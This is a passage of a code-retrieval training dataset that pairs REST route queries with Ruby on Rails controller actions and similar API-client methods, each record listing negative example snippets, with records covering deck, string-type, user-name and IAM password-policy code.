"def create\n @lable = Lable.new(lable_params)\n\n respond_to do |format|\n if @lable.save\n format.html { redirect_to @lable, notice: 'Lable was successfully created.' }\n format.json { render :show, status: :created, location: @lable }\n else\n format.html { render :new }\n format.json { render json: @lable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @utensilname = Utensilname.new(utensilname_params)\n\n respond_to do |format|\n if @utensilname.save\n format.html { redirect_to utensilnames_path }\n format.json { render :show, status: :created, location: @utensilname }\n else\n format.html { render :new }\n format.json { render json: @utensilname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @string_type = StringType.new(params[:string_type])\n\n respond_to do |format|\n if @string_type.save\n format.html { redirect_to @string_type, notice: 'String type was successfully created.' }\n format.json { render json: @string_type, status: :created, location: @string_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @string_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @name_string = NameString.new(params[:name_string])\n\n respond_to do |format|\n if @name_string.save\n flash[:notice] = 'NameString was successfully created.'\n format.html { redirect_to(@name_string) }\n format.xml { render :xml => @name_string, :status => :created, :location => @name_string }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @name_string.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_user_data(user_data)\n # Define a valid, empty payload and merge! with the user_data. Print it.\n payload =\n {\n 'OrgDefinedId' => '', # String\n 'FirstName' => 'TestUser', # String\n 'MiddleName' => 'Test', # String\n 'LastName' => 'Test', # String\n 'ExternalEmail' => nil, # String (nil or well-formed email addr)\n 'UserName' => 'test12345a', # String\n 'RoleId' => 110, # number\n 'IsActive' => false, # bool\n 'SendCreationEmail' => false, # bool\n }.merge!(user_data)\n # requires: UserData JSON block\n # Define a path referencing the course data using the course_id\n check_user_data_validity(payload)\n path = \"/d2l/api/lp/#{$lp_ver}/users/\"\n _post(path, payload)\n puts '[+] User creation completed successfully'.green\n # returns a UserData JSON block for the newly created user\nend",
"def create_label(username, lbl)\n msg = GEmailMessage.new\n msg.add_property(\"label\", lbl)\n response = @connection.request(@action[:label], \"/#{username}/label\", msg.to_s)\n return !response.nil?\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PATCH/PUT /user_name_lstrings/1 PATCH/PUT /user_name_lstrings/1.json | def update
respond_to do |format|
if @user_name_lstring.update(user_name_lstring_params)
format.html { redirect_to @user_name_lstring, notice: 'User name lstring was successfully updated.' }
format.json { render :show, status: :ok, location: @user_name_lstring }
else
format.html { render :edit }
format.json { render json: @user_name_lstring.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n @luser = Luser.find(params[:id])\n\n respond_to do |format|\n if @luser.update_attributes(params[:luser])\n format.html { redirect_to '/' + @luser.name, notice: 'Luser was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @luser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_name(user_id:, name:)\n path = '/users/{userId}/name'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n name: name,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"def update\n @string_type = StringType.find(params[:id])\n\n respond_to do |format|\n if @string_type.update_attributes(params[:string_type])\n format.html { redirect_to @string_type, notice: 'String type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @string_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def updaterole\n\t @user = User.find(params[:id])\n\t if @user.update_attribute(:name, params[:user][:name])\n\t flash[:success] = \"Changes have been made successfully\"\n\t redirect_to @user\n\t else\n\t render 'edit'\n\t end\n\n\t end",
"def update\n @string_literal = StringLiteral.find(params[:id])\n\n respond_to do |format|\n if @string_literal.update_attributes(params[:string_literal])\n flash[:notice] = 'StringLiteral was successfully updated.'\n format.html { redirect_to(@string_literal) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @string_literal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @stringlist = Stringlist.find(params[:id])\n\n respond_to do |format|\n if @stringlist.update_attributes(params[:stringlist])\n format.html { redirect_to @stringlist, notice: 'Stringlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stringlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_name_lstring = UserNameLstring.new(user_name_lstring_params)\n\n respond_to do |format|\n if @user_name_lstring.save\n format.html { redirect_to @user_name_lstring, notice: 'User name lstring was successfully created.' }\n format.json { render :show, status: :created, location: @user_name_lstring }\n else\n format.html { render :new }\n format.json { render json: @user_name_lstring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lti_user.update(lti_user_params)\n format.html { redirect_to @lti_user, notice: 'Lti user was successfully updated.' }\n format.json { render :show, status: :ok, location: @lti_user }\n else\n format.html { render :edit }\n format.json { render json: @lti_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_name.update(user_name_params)\n format.html { redirect_to @user_name, notice: 'User name was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_name }\n else\n format.html { render :edit }\n format.json { render json: @user_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @name_string = NameString.find(params[:id])\n\n respond_to do |format|\n if @name_string.update_attributes(params[:name_string])\n flash[:notice] = 'NameString was successfully updated.'\n format.html { redirect_to(@name_string) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @name_string.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @languagestring = Languagestring.find(params[:id])\n\n respond_to do |format|\n if @languagestring.update_attributes(params[:languagestring])\n format.html { redirect_to @languagestring, notice: 'Languagestring was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @languagestring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n @userreq = Userreq.find(params[:id])\n\n respond_to do |format|\n if @userreq.update_attributes(params[:userreq])\n format.html { redirect_to @userreq, notice: 'Userreq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @userreq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @userlitt.update(userlitt_params)\n format.html { redirect_to root_url, notice: 'Userlitt was successfully updated.' }\n format.json { render :show, status: :ok, location: @userlitt }\n else\n format.html { render :edit }\n format.json { render json: @userlitt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update\n respond_to do |format|\n if @user_label.update(user_label_params)\n format.html { redirect_to @user_label, notice: 'User label was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_label }\n else\n format.html { render :edit }\n format.json { render json: @user_label.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_user = LabUser.find(params[:id])\n\n respond_to do |format|\n if @lab_user.update_attributes(params[:lab_user])\n format.html { redirect_to @lab_user, notice: 'Lab user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_multiliner_string_with_form()\n # Parameters for the API call\n value = \"TestString\\nnouman\"\n\n # Perform the API call through the SDK function\n result = @controller.update_string_with_form(value)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /user_name_lstrings/1 DELETE /user_name_lstrings/1.json | def destroy
@user_name_lstring.destroy
respond_to do |format|
format.html { redirect_to user_name_lstrings_url, notice: 'User name lstring was successfully destroyed.' }
format.json { head :no_content }
end
end | [
"def destroy\n @luser = Luser.find(params[:id])\n @luser.destroy\n\n respond_to do |format|\n format.html { redirect_to lusers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @string_type = StringType.find(params[:id])\n @string_type.destroy\n\n respond_to do |format|\n format.html { redirect_to string_types_url }\n format.json { head :ok }\n end\n end",
"def deleteUser( uoid )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( uoid )\n\n # BIMserver request\n request( { uoid: uoid } )\n end",
"def destroy\n @stringlist = Stringlist.find(params[:id])\n Redis.current.del @stringlist.redis_key\n @stringlist.destroy\n\n respond_to do |format|\n format.html { redirect_to stringlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @languagestring = Languagestring.find(params[:id])\n @languagestring.destroy\n\n respond_to do |format|\n format.html { redirect_to languagestrings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @name_string = NameString.find(params[:id])\n @name_string.destroy\n\n respond_to do |format|\n format.html { redirect_to(name_strings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @root_string.destroy\n respond_to do |format|\n format.html { redirect_to root_strings_url, success: 'A string was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete(user)\n Rails.logger.debug \"Call to user.delete\"\n reqUrl = \"/api/user/#{self.email}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def destroy\n @string_literal = StringLiteral.find(params[:id])\n @string_literal.destroy\n\n respond_to do |format|\n format.html { redirect_to(string_literals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n app_id = @at_string.app_id\n @at_string.destroy\n respond_to do |format|\n format.html { redirect_to at_strings_path(:app_id => app_id) }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @user_1 = User1.find(params[:id])\n @user_1.destroy\n\n respond_to do |format|\n format.html { redirect_to user_1s_url }\n format.json { head :ok }\n end\n end",
"def delete(user)\n Rails.logger.debug \"Call to election.delete\"\n reqUrl = \"/api/election/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code} #{rest_response.message}\" #Return error\n end\n end",
"def destroy\n @user_rk1 = UserRk1.find(params[:id])\n @user_rk1.destroy\n\n respond_to do |format|\n format.html { redirect_to user_rk1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user1 = User1.find(params[:id])\n @user1.destroy\n\n respond_to do |format|\n format.html { redirect_to user1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserved_username = ReservedUsername.find(params[:id])\n @reserved_username.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_reserved_usernames_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_label.destroy\n respond_to do |format|\n format.html { redirect_to user_labels_url, notice: 'User label was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mongo_string = MongoString.find(params[:id])\n @mongo_string.destroy\n \n respond_to do |format|\n format.html { redirect_to mongo_strings_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @lui.destroy\n respond_to do |format|\n format.html { redirect_to luis_url, notice: 'Lui was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Specifies whether IAM users are allowed to change their own password. Gives IAM users permissions to `iam:ChangePassword` for only their user and to the `iam:GetAccountPasswordPolicy` action. This option does not attach a permissions policy to each user, rather the permissions are applied at the accountlevel for all users by IAM. | def allow_users_to_change_password
data[:allow_users_to_change_password]
end | [
"def allow_users_to_change_password\n data.allow_users_to_change_password\n end",
"def set_AllowUsersToChangePassword(value)\n set_input(\"AllowUsersToChangePassword\", value)\n end",
"def change_account_password(options = {})\n requires!(options, :user, :pass)\n \n data = get_xml(:url => \"passwd\", :params => options)\n\t check_for_cpanel_errors_on(data)[\"passwd\"]\n end",
"def set_change_password(user)\n user.update_column(:must_change_passwd, true)\n session[:pwd] = 1\n end",
"def force_change_password\n @must_change_password = true\n @modified = true\n end",
"def password_changeable?\n @password_changeable\n end",
"def update_account_password_policy(minimum_password_length, max_password_age, password_reuse_prevention,require_symbols,require_numbers,require_uppercase_characters, require_lowercase_characters,allow_users_to_change_password, hard_expiry, expire_passwords)\n request({\n 'Action' => 'UpdateAccountPasswordPolicy',\n 'MinimumPasswordLength' => minimum_password_length,\n 'MaxPasswordAge' => max_password_age,\n 'PasswordReusePrevention' => password_reuse_prevention,\n 'RequireSymbols' => require_symbols,\n 'RequireNumbers' => require_numbers,\n 'RequireUppercaseCharacters' => require_uppercase_characters,\n 'RequireLowercaseCharacters' => require_lowercase_characters,\n 'AllowUsersToChangePassword' => allow_users_to_change_password,\n 'HardExpiry' => hard_expiry,\n 'ExpirePasswords' => expire_passwords,\n :parser => Fog::Parsers::AWS::IAM::Basic.new\n })\n end",
"def change_password(user_name, user_password)\n # TODO\n end",
"def change_password!(password)\n json = JSON.generate(:changePassword => { :adminPass => password })\n @compute.connection.req('POST', \"/servers/#{@id}/action\", :data => json)\n @adminPass = password\n end",
"def change_password\n @user = current_user\n @user.update_password(params)\n\n if @user.errors.empty?\n redirect_to profile_path, :notice => I18n.t('profile.password_changed')\n else\n flash.now[:alert] = I18n.t(\"errors.passwords.problem\")\n render 'show', :status => :forbidden\n end\n end",
"def alter(password)\n Statements::AlterUser.new(context: self).password(password)\n end",
"def set_password\n # Return if there is no password to set\n return if new_resource.password.nil?\n\n shadow_info = prepare_password_shadow_info\n\n # Shadow info is saved as binary plist. Convert the info to binary plist.\n shadow_info_binary = StringIO.new\n shell_out(\"plutil\", \"-convert\", \"binary1\", \"-o\", \"-\", \"-\",\n input: shadow_info.to_plist, live_stream: shadow_info_binary)\n\n if user_info.nil?\n # User is just created. read_user_info() will read the fresh information\n # for the user with a cache flush. However with experimentation we've seen\n # that dscl cache is not immediately updated after the creation of the user\n # This is odd and needs to be investigated further.\n sleep 3\n @user_info = read_user_info\n end\n\n # Replace the shadow info in user's plist\n dscl_set(user_info, :shadow_hash, shadow_info_binary)\n save_user_info(user_info)\n end",
"def change_password(body)\n @client.account.change_password(body)\n end",
"def change_user_password(user, pass)\n request({req: 'changeuserpassword', username: user, newpassword: pass})\n end",
"def set_password(user, password)\n\t\t\t\t`echo \"#{shellescape(password)}\" | /usr/sbin/pw usermod #{shellescape(user)} -h 0`\n\t\t\tend",
"def need_change_password?\n password_change_requested? || password_too_old?\n end",
"def change_password(email, password, account_id, new_password)\n @api.put(Services::ACCOUNTS,\"accounts/#{account_id}/password\", @api.basic_auth(email, password).merge!({:body => { :password => new_password } }))\n end",
"def change_password\n if current_user.update_with_password(password_params)\n #\n # Sign in the user bypassing validation in case\n # their password changed.\n #\n sign_in current_user, bypass: true\n\n redirect_to current_user, notice: 'Password successfully changed.'\n else\n render 'edit'\n end\n end",
"def update_account_password_policy options = {}\n client.update_account_password_policy(options)\n nil\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /magic_decks GET /magic_decks.json | def index
@magic_decks = MagicDeck.all
end | [
"def index\n @decks = Deck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end",
"def index\n @decks = current_user.decks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end",
"def index\n @ducks = Duck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ducks }\n end\n end",
"def show\n mix = BreedMix.find(params[:id])\n render json: mix\n end",
"def decks(**args)\n decks_request(**args).decks\n end",
"def show\n @buzz = Buzz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @buzz }\n end\n end",
"def index\n @mixtapes = Mixtape.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixtapes }\n end\n end",
"def show\n begin\n @fucker = Fucker.find(params[:id])\n respond_to do |format|\n format.json { render json: @fucker }\n end\n rescue => err\n $log.warn(err)\n respond_to do |format|\n format.json { render json: err, status: :internal_server_error }\n end\n end\n end",
"def show\n render json: MangaBookshelf.find_shelves(params[:id])\n end",
"def show\n render json: @dice\n end",
"def index\n @showdowns = Showdown.unscoped.order(\"created_at DESC\").page(params[:page]).per(CONFIG[:memories_per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @showdowns }\n end\n end",
"def all\n dishes = Dish.all\n render json: dishes\n end",
"def show\n @fmalbum = Fmalbum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fmalbum }\n end\n end",
"def index\n @packs = Pack.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packs }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @musics }\n end\n end",
"def index\n\n # use a shooting collection cache\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shootings = Shooting.get_shootings_from_yammer(Yammer::TokenClient.new(token: current_user.access_token))\n render json: { shootings: @shootings }\n end\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @musics }\n end\n end",
"def index\n # @musics = Music.all\n # @musics = []\n @musics = Song.all\n respond_to do |f|\n f.html {}\n f.json { render json: @musics }\n end\n end",
"def index\n @buzzs = Buzz.order('created_at desc').page(params[:page] || 1)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @buzzs }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /magic_decks POST /magic_decks.json | def create
@magic_deck = MagicDeck.new(magic_deck_params)
parser = DeckCardParser.new
parser.parse(@magic_deck, params["contents"])
respond_to do |format|
if @magic_deck.save
format.html { redirect_to @magic_deck, notice: 'Magic deck was successfully created.' }
format.json { render :show, status: :created, location: @magic_deck }
else
format.html { render :new }
format.json { render json: @magic_deck.errors, status: :unprocessable_entity }
end
end
end | [
"def create\n @deck = Deck.new(deck_params)\n\n if @deck.save\n render json: @deck, status: :created\n else\n render json: @deck.errors, status: :unprocessable_entity\n end\n end",
"def create\n @deck = Deck.new_from_api\n\n respond_to do |format|\n if @deck.save\n format.html { redirect_to @deck, notice: 'Deck was successfully created.' }\n format.json { render :show, status: :created, location: @deck }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @magic_decks = MagicDeck.all\n end",
"def create\n mix = BreedMix.new(mix_params)\n\n if mix.save\n render json: mix\n else\n render json: mix.errors, status: :unprocessable_entity\n end\n end",
"def decks(**args)\n decks_request(**args).decks\n end",
"def destroy\n @magic_deck.destroy\n respond_to do |format|\n format.html { redirect_to magic_decks_url, notice: 'Magic deck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @decks = Deck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end",
"def create\n @magic = Magic.new(magic_params)\n\n respond_to do |format|\n if @magic.save\n format.html { redirect_to @magic, notice: 'Magic was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def new\n @deck = Deck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deck }\n end\n end",
"def create\n @deckfile = Deckfile.new(deckfile_params)\n\n respond_to do |format|\n if @deckfile.save\n format.html { redirect_to @deckfile, notice: 'Deckfile was successfully created.' }\n format.json { render :show, status: :created, location: @deckfile }\n else\n format.html { render :new }\n format.json { render json: @deckfile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @magic_item = MagicItem.new(magic_item_params)\n\n respond_to do |format|\n if @magic_item.save\n format.html { redirect_to @magic_item, notice: 'Magic item was successfully created.' }\n format.json { render :show, status: :created, location: @magic_item }\n else\n format.html { render :new }\n format.json { render json: @magic_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_cards(cards, deckname)\n resp = HTTP.post('http://localhost:8765', json: {\n action: 'addNotes',\n version: 6,\n params: {\n notes: cards.map { |card| new_cloze_note(card, deckname) },\n },\n })\n catch_error(resp)\n end",
"def index\n @ducks = Duck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ducks }\n end\n end",
"def destroy\n @duck.destroy\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @duck.destroy\n\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end",
"def create\n @pack = Pack.new(pack_params)\n\n if @pack.save\n render json: @pack, status: :created\n else\n render json: @pack.errors, status: :unprocessable_entity\n end\n end",
"def create\n megam_rest.post_billings(to_hash)\n end",
"def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend",
"def create\n @current_user = User.find(current_user.id)\n @current_deck = @current_user.decks.new(params[:deck])\n respond_to do |format|\n if @current_deck.save\n format.html { redirect_to user_root_path, notice: \"Deck Created: #{@current_deck.name}\" }\n else\n format.html { render :new }\n format.json { render json: @current_deck.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PATCH/PUT /magic_decks/1 PATCH/PUT /magic_decks/1.json | def update
respond_to do |format|
if @magic_deck.update(magic_deck_params)
format.html { redirect_to @magic_deck, notice: 'Magic deck was successfully updated.' }
format.json { render :show, status: :ok, location: @magic_deck }
else
format.html { render :edit }
format.json { render json: @magic_deck.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n @fucker = Fucker.find(params[:id])\n\n respond_to do |format|\n if @fucker.update_attributes(params[:fucker])\n format.json { head :no_content }\n else\n format.json { render json: @fucker.errors, status: :internal_server_error }\n end\n end\n end",
"def update\n if @deck.update(deck_params)\n render json: @deck\n else\n render json: @deck.errors, status: :unprocessable_entity\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend",
"def update\n respond_to do |format|\n if @api_monkey.update(api_monkey_params)\n # format.html { redirect_to @api_monkey, notice: 'Api monkey was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_monkey }\n else\n # format.html { render :edit }\n format.json { render json: @api_monkey.errors, status: :unprocessable_entity }\n end\n\n end\n\n # DELETE /api_monkeys/1\n # DELETE /api_monkeys/1.json\n def destroy\n @api_monkey.destroy\n respond_to do |format|\n format.html { redirect_to api_monkeys_url, notice: 'Api monkey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n private\n # Use callbacks to share common setup or constraints between actions.\n def set_api_monkey\n @api_monkey = ApiMonkey.find(params[:id])\n end\n\n # Never trust parameters from the scary internet, only allow the white list through.\n def api_monkey_params\n params.permit(:name, :height, :weight, :locations_of_origin,\n :diet, :description, :social_order, :lifespan, :seeded?, :image1, :image2,\n :genus, :sub_family)\n end\nend",
"def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend",
"def update\n @pack = Pack.find(params[:id])\n\n respond_to do |format|\n if @pack.update_attributes(params[:pack])\n format.html { redirect_to packs_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mosaic.update(mosaic_params)\n format.html { redirect_to @mosaic, notice: 'Mosaic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mosaic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @magic.update(magic_params)\n format.html { redirect_to @magic, notice: 'Magic was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @song.update(song_params)\n format.json { respond_with_bip @song }\n else\n format.json { respond_with_bip @song }\n end\n end\n end",
"def patch *args\n make_request :patch, *args\n end",
"def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user)\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end",
"def update\n \n \n respond_to do |format|\n updated_params = song_params\n if (@song.artist != song_params[:artist] || @song.songname != song_params[:songname])\n uri = 'http://developer.echonest.com/api/v4/song/search?api_key=6XUOAXHJOW28GGGRH&format=json&results=1&artist=' + Rack::Utils.escape(song_params[:artist]) + '&title=' + Rack::Utils.escape(song_params[:songname]) + '&bucket=audio_summary'\n result = open(uri).read\n parsed = JSON.parse(result)\n if parsed[\"response\"][\"songs\"].length > 0\n updated_params[:bpm] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"tempo\"]\n updated_params[:key] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"key\"]\n notice = \"Song found on EchoNest!\"\n else\n notice = \"Could not find updated song on EchoNest.\"\n end\n \n end\n if @song.update(updated_params)\n format.html { redirect_to @song, notice: \"#{notice} #{updated_params} \" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @monkey.update(monkey_params)\n # format.html { redirect_to @monkey, notice: 'Api monkey was successfully updated.' }\n format.json { render :show, status: :ok, location: @monkey }\n else\n # format.html { render :edit }\n format.json { render json: @monkey.errors, status: :unprocessable_entity }\n end\n \n end\n \n # DELETE /monkeys/1\n # DELETE /monkeys/1.json\n def destroy\n @monkey.destroy\n respond_to do |format|\n format.html { redirect_to monkeys_url, notice: 'Account successfully deleted.' }\n format.json { head :no_content }\n end\n end\n \n private\n # Use callbacks to share common setup or constraints between actions.\n def set_monkey\n @monkey = Monkey.find(params[:id])\n end\n \n # Never trust parameters from the scary internet, only allow the white list through.\n def monkey_params\n params.permit(:name, :type, :size, :socialOrder, :image, :species)\n end\n end",
"def update\n respond_to do |format|\n if @deckfile.update(deckfile_params)\n format.html { redirect_to @deckfile, notice: 'Deckfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @deckfile }\n else\n format.html { render :edit }\n format.json { render json: @deckfile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kick = Kick.find(params[:id])\n kick_params = params.require(:kick).permit(:title, :description, :time, :location, :user_id, :latitude, :longitude,\n :name, :scale, :avatar,\n :user_avatar, :filepicker_url, :filepicker_avatar_url)\n\n respond_to do |format|\n if @kick.update_attributes(kick_params)\n format.html { redirect_to @kick, notice: 'Kick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n\n if @plate.update(params[:plate])\n head :no_content\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end",
"def update\n # tapename = media_tape_head_params[:name]\n # if params[:file_parts].to_i > 0\n # tapename = tapename << \"_\" << params[:file_parts].to_s\n # end\n # tapename = tapename << params[:file_extension]\n # media_tape_head_params[:name] = tapename\n\n respond_to do |format|\n if @media_tape_head.update(media_tape_head_params)\n format.html { redirect_to @media_tape_head, notice: 'Media tape head was successfully updated.' }\n format.json { render :show, status: :ok, location: @media_tape_head }\n else\n format.html { render :edit }\n format.json { render json: @media_tape_head.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /magic_decks/1 DELETE /magic_decks/1.json | def destroy
@magic_deck.destroy
respond_to do |format|
format.html { redirect_to magic_decks_url, notice: 'Magic deck was successfully destroyed.' }
format.json { head :no_content }
end
end | [
"def destroy\n @duck.destroy\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end",
